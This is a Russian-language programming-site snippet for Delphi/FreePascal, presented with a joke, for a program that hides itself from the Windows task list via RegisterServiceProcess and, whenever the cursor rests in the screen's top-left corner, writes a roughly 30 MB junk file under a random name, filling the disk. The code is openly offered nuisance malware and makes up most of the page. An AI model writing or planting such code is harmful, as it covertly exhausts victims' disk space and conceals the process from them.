Пpогpаммист увидел HЛО:
- У кого-то диск полетел...
Действие этой проги заключается в следующем: она следит за позицией курсора и если он в левом верхнем углу экрана, то она создает под случайным именем и расширением на диске файл с мусором
program musor;
uses
Windows;
var{ Объявление переменных }
text: TextFile;
alphabet, temp: string;
i: integer;
point: TPoint;
function RegisterServiceProcess(dwProcessID, dwType: Integer): integer;
stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(0, 1);
{заполняем строку алфавитом}
alphabet := 'abcdefghijklmnopqrstucvwxyz';
while true dobegin{ получаем координаты курсора }
GetCursorPos(point);
{ если х = 0 и y = 0 то }if (point.x = 0) and (point.y = 0) thenbegin
temp:=''; {очищаем буфер}for i:=1 to 8 do{генерируем случайное имя файла}
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
temp:=Concat(temp, '.');
for i:=1 to 3 do{генерируем случайное расширение}
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
Assign(text, temp); { присваиваем имя файлу }
Rewrite(text); {открываем файл}for i:=1 to 30000000 dobegin
Yield;
write(text, '!'); { наполняем файл мусором }end;
Close(text); {закрываем файл }end;
end; {всё сначала }end.
Статья Мало места на винте раздела Файловая система Диски может быть полезна для разработчиков на Delphi и FreePascal.
Комментарии и вопросы
Материалы статей собраны из открытых источников, владелец сайта не претендует на авторство. Там где авторство установить не удалось, материал подаётся без имени автора. В случае если Вы считаете, что Ваши права нарушены, пожалуйста, свяжитесь с владельцем сайта.